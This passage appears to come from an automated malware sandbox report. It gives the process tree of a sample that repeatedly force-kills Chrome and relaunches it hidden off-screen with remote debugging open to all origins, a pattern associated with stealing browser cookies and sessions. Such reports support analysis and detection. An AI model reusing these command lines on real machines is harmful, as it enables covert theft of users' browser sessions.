                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2944,i,10508108559662548024,3348150004447349879,2097152 --field-trial-handle=2084,i,13430151885766620498,12612579154497921110,262144 --variations-seed-version --mojo-platform-channel-handle=2424 /prefetch:1
                                                                                              8⤵
                                                                                              • Uses browser remote debugging
                                                                                              PID:3232
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3672,i,16614618574891462106,12698787893451470711,2097152 --field-trial-handle=2084,i,13430151885766620498,12612579154497921110,262144 --variations-seed-version --mojo-platform-channel-handle=3744 /prefetch:9
                                                                                              8⤵
                                                                                              • Uses browser remote debugging
                                                                                              PID:5412
                                                                                          • C:\Windows\SYSTEM32\taskkill.exe
                                                                                            taskkill /F /IM chrome.exe
                                                                                            7⤵
                                                                                            • Kills process with taskkill
                                                                                            PID:3152
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                            7⤵
                                                                                            • Uses browser remote debugging
                                                                                            PID:1784
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                              8⤵
                                                                                                PID:1600
                                                                                            • C:\Windows\SYSTEM32\taskkill.exe
                                                                                              taskkill /F /IM chrome.exe
                                                                                              7⤵
                                                                                              • Kills process with taskkill
                                                                                              PID:4084
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                              7⤵
                                                                                              • Uses browser remote debugging
                                                                                              • Drops file in Windows directory
                                                                                              • Enumerates system info in registry
                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                              • Suspicious use of FindShellTrayWindow
                                                                                              PID:5228
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                8⤵
                                                                                                  PID:3044
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1588,i,15986418987978121242,10051362855970531692,262144 --field-trial-handle=2400,i,622946920405072057,4153491847645209605,262144 --variations-seed-version --mojo-platform-channel-handle=2440 /prefetch:2
                                                                                                  8⤵
                                                                                                    PID:2852
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1672,i,6389197473498721792,3359931581814404951,524288 --field-trial-handle=2400,i,622946920405072057,4153491847645209605,262144 --variations-seed-version --mojo-platform-channel-handle=2444 /prefetch:11
                                                                                                    8⤵
                                                                                                    • System Time Discovery
                                                                                                    PID:4972
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1980,i,9145223211217417061,12507195866532603577,524288 --field-trial-handle=2400,i,622946920405072057,4153491847645209605,262144 --variations-seed-version --mojo-platform-channel-handle=2516 /prefetch:13
                                                                                                    8⤵
                                                                                                      PID:1260
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2864,i,13375419020136128414,4193689273334878494,2097152 --field-trial-handle=2400,i,622946920405072057,4153491847645209605,262144 --variations-seed-version --mojo-platform-channel-handle=2932 /prefetch:1
                                                                                                      8⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:5936
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2868,i,10196519529215026123,11119572441606478069,2097152 --field-trial-handle=2400,i,622946920405072057,4153491847645209605,262144 --variations-seed-version --mojo-platform-channel-handle=2936 /prefetch:1
                                                                                                      8⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:4692
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3676,i,8731608676859155752,13039931016301866553,2097152 --field-trial-handle=2400,i,622946920405072057,4153491847645209605,262144 --variations-seed-version --mojo-platform-channel-handle=3696 /prefetch:9
                                                                                                      8⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:5816
                                                                                                  • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                    taskkill /F /IM chrome.exe
                                                                                                    7⤵
                                                                                                    • Kills process with taskkill
                                                                                                    PID:4024
                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                    "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                    7⤵
                                                                                                    • Uses browser remote debugging
                                                                                                    PID:2880
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                      8⤵
                                                                                                        PID:5364
                                                                                                    • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                      taskkill /F /IM chrome.exe
                                                                                                      7⤵
                                                                                                      • Kills process with taskkill
                                                                                                      PID:5204
                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                      7⤵
                                                                                                      • Uses browser remote debugging
                                                                                                      PID:3748
                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                        8⤵
                                                                                                          PID:3204
                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1572,i,340183185741766731,6795996179243578949,262144 --field-trial-handle=2412,i,382965745247160253,7667152276480324878,262144 --variations-seed-version --mojo-platform-channel-handle=2408 /prefetch:2
                                                                                                          8⤵
                                                                                                            PID:4024
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1656,i,14880026960886012473,481010183664833407,524288 --field-trial-handle=2412,i,382965745247160253,7667152276480324878,262144 --variations-seed-version --mojo-platform-channel-handle=2596 /prefetch:11
                                                                                                            8⤵
                                                                                                            • System Time Discovery
                                                                                                            PID:3484
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1844,i,17090128715750826997,13499058460422860367,524288 --field-trial-handle=2412,i,382965745247160253,7667152276480324878,262144 --variations-seed-version --mojo-platform-channel-handle=2724 /prefetch:13
                                                                                                            8⤵
                                                                                                              PID:5876
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2908,i,16489986097651185605,226537145021032519,2097152 --field-trial-handle=2412,i,382965745247160253,7667152276480324878,262144 --variations-seed-version --mojo-platform-channel-handle=2740 /prefetch:1
                                                                                                              8⤵
                                                                                                              • Uses browser remote debugging
                                                                                                              PID:2624
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2912,i,6697428117536291154,9896630921456093847,2097152 --field-trial-handle=2412,i,382965745247160253,7667152276480324878,262144 --variations-seed-version --mojo-platform-channel-handle=3180 /prefetch:1
                                                                                                              8⤵
                                                                                                              • Uses browser remote debugging
                                                                                                              PID:1456
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3704,i,4546258108461522543,2373612977518861073,2097152 --field-trial-handle=2412,i,382965745247160253,7667152276480324878,262144 --variations-seed-version --mojo-platform-channel-handle=3716 /prefetch:9
                                                                                                              8⤵
                                                                                                              • Uses browser remote debugging
                                                                                                              PID:1104
                                                                                                          • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                            taskkill /F /IM chrome.exe
                                                                                                            7⤵
                                                                                                            • Kills process with taskkill
                                                                                                            PID:5204
                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                            "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                            7⤵
                                                                                                            • Uses browser remote debugging
                                                                                                            PID:908
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                              8⤵
                                                                                                                PID:3804
                                                                                                            • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                              taskkill /F /IM chrome.exe
                                                                                                              7⤵
                                                                                                              • Kills process with taskkill
                                                                                                              PID:5468
                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                              "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                              7⤵
                                                                                                              • Uses browser remote debugging
                                                                                                              PID:4736
                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                                8⤵
                                                                                                                  PID:6016
                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1572,i,1135284485824357018,12301726993316221730,262144 --field-trial-handle=2264,i,8332930165860306287,14711168096782960088,262144 --variations-seed-version --mojo-platform-channel-handle=2260 /prefetch:2
                                                                                                                  8⤵
                                                                                                                    PID:2348
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1656,i,4541684697228901218,9766429189078452528,524288 --field-trial-handle=2264,i,8332930165860306287,14711168096782960088,262144 --variations-seed-version --mojo-platform-channel-handle=2328 /prefetch:11
                                                                                                                    8⤵
                                                                                                                    • System Time Discovery
                                                                                                                    PID:1888
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1936,i,17096091463439166998,15137726242535294490,524288 --field-trial-handle=2264,i,8332930165860306287,14711168096782960088,262144 --variations-seed-version --mojo-platform-channel-handle=2056 /prefetch:13
                                                                                                                    8⤵
                                                                                                                      PID:4760
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2912,i,11820450263123372010,13589199258209481905,2097152 --field-trial-handle=2264,i,8332930165860306287,14711168096782960088,262144 --variations-seed-version --mojo-platform-channel-handle=2896 /prefetch:1
                                                                                                                      8⤵
                                                                                                                      • Uses browser remote debugging
                                                                                                                      PID:3112
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2908,i,13543862859636571399,3221920839978523619,2097152 --field-trial-handle=2264,i,8332930165860306287,14711168096782960088,262144 --variations-seed-version --mojo-platform-channel-handle=2964 /prefetch:1
                                                                                                                      8⤵
                                                                                                                      • Uses browser remote debugging
                                                                                                                      PID:4996
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3528,i,16879367327474483677,2331704143780462118,2097152 --field-trial-handle=2264,i,8332930165860306287,14711168096782960088,262144 --variations-seed-version --mojo-platform-channel-handle=3584 /prefetch:9
                                                                                                                      8⤵
                                                                                                                      • Uses browser remote debugging
                                                                                                                      PID:1632
                                                                                                                  • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                    taskkill /F /IM chrome.exe
                                                                                                                    7⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    PID:3588
                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                    "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                                    7⤵
                                                                                                                    • Uses browser remote debugging
                                                                                                                    PID:2616
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                                      8⤵
                                                                                                                        PID:6116
                                                                                                                    • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                      taskkill /F /IM chrome.exe
                                                                                                                      7⤵
                                                                                                                      • Kills process with taskkill
                                                                                                                      PID:4572
                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                      "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                                      7⤵
                                                                                                                      • Uses browser remote debugging
                                                                                                                      PID:480
                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                                        8⤵
                                                                                                                          PID:3908
                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --metrics-shmem-handle=1584,i,14794987372429748661,2150974611188121649,262144 --field-trial-handle=1992,i,4611725689137776465,11785484727575210364,262144 --variations-seed-version --mojo-platform-channel-handle=1988 /prefetch:2
                                                                                                                          8⤵
                                                                                                                            PID:3168
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1800,i,5809802649093200531,9594358937911043205,524288 --field-trial-handle=1992,i,4611725689137776465,11785484727575210364,262144 --variations-seed-version --mojo-platform-channel-handle=2000 /prefetch:11
                                                                                                                            8⤵
                                                                                                                            • System Time Discovery
                                                                                                                            PID:5292
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --force-high-res-timeticks=disabled --metrics-shmem-handle=2160,i,12682321406435106820,6743315671531613038,524288 --field-trial-handle=1992,i,4611725689137776465,11785484727575210364,262144 --variations-seed-version --mojo-platform-channel-handle=2320 /prefetch:13
                                                                                                                            8⤵
                                                                                                                              PID:4972
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2888,i,17870953943465358198,1725650293831299464,2097152 --field-trial-handle=1992,i,4611725689137776465,11785484727575210364,262144 --variations-seed-version --mojo-platform-channel-handle=2928 /prefetch:1
                                                                                                                              8⤵
                                                                                                                              • Uses browser remote debugging
                                                                                                                              PID:2236
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2892,i,4398505842543974539,302863099972785280,2097152 --field-trial-handle=1992,i,4611725689137776465,11785484727575210364,262144 --variations-seed-version --mojo-platform-channel-handle=2624 /prefetch:1
                                                                                                                              8⤵
                                                                                                                              • Uses browser remote debugging
                                                                                                                              PID:5072
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=3736,i,11834647756528483365,14034674674661688144,2097152 --field-trial-handle=1992,i,4611725689137776465,11785484727575210364,262144 --variations-seed-version --mojo-platform-channel-handle=3676 /prefetch:9
                                                                                                                              8⤵
                                                                                                                              • Uses browser remote debugging
                                                                                                                              PID:3088
                                                                                                                          • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                            taskkill /F /IM chrome.exe
                                                                                                                            7⤵
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:5900
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:/Program Files/Google/Chrome/Application/chrome.exe" --remote-debugging-port=9222 --profile-directory=Default --remote-allow-origins=* --window-position=10000,10000 --window-size=1,1 --disable-gpu --no-sandbox
                                                                                                                            7⤵
                                                                                                                            • Uses browser remote debugging
                                                                                                                            PID:904
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7fff7237c728,0x7fff7237c734,0x7fff7237c740
                                                                                                                              8⤵
                                                                                                                                PID:5044
                                                                                                                            • C:\Windows\SYSTEM32\taskkill.exe
                                                                                                                              taskkill /F /IM chrome.exe
                                                                                                                              7⤵
                                                                                                                              • Kills process with taskkill
                                                                                                                              PID:1564
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
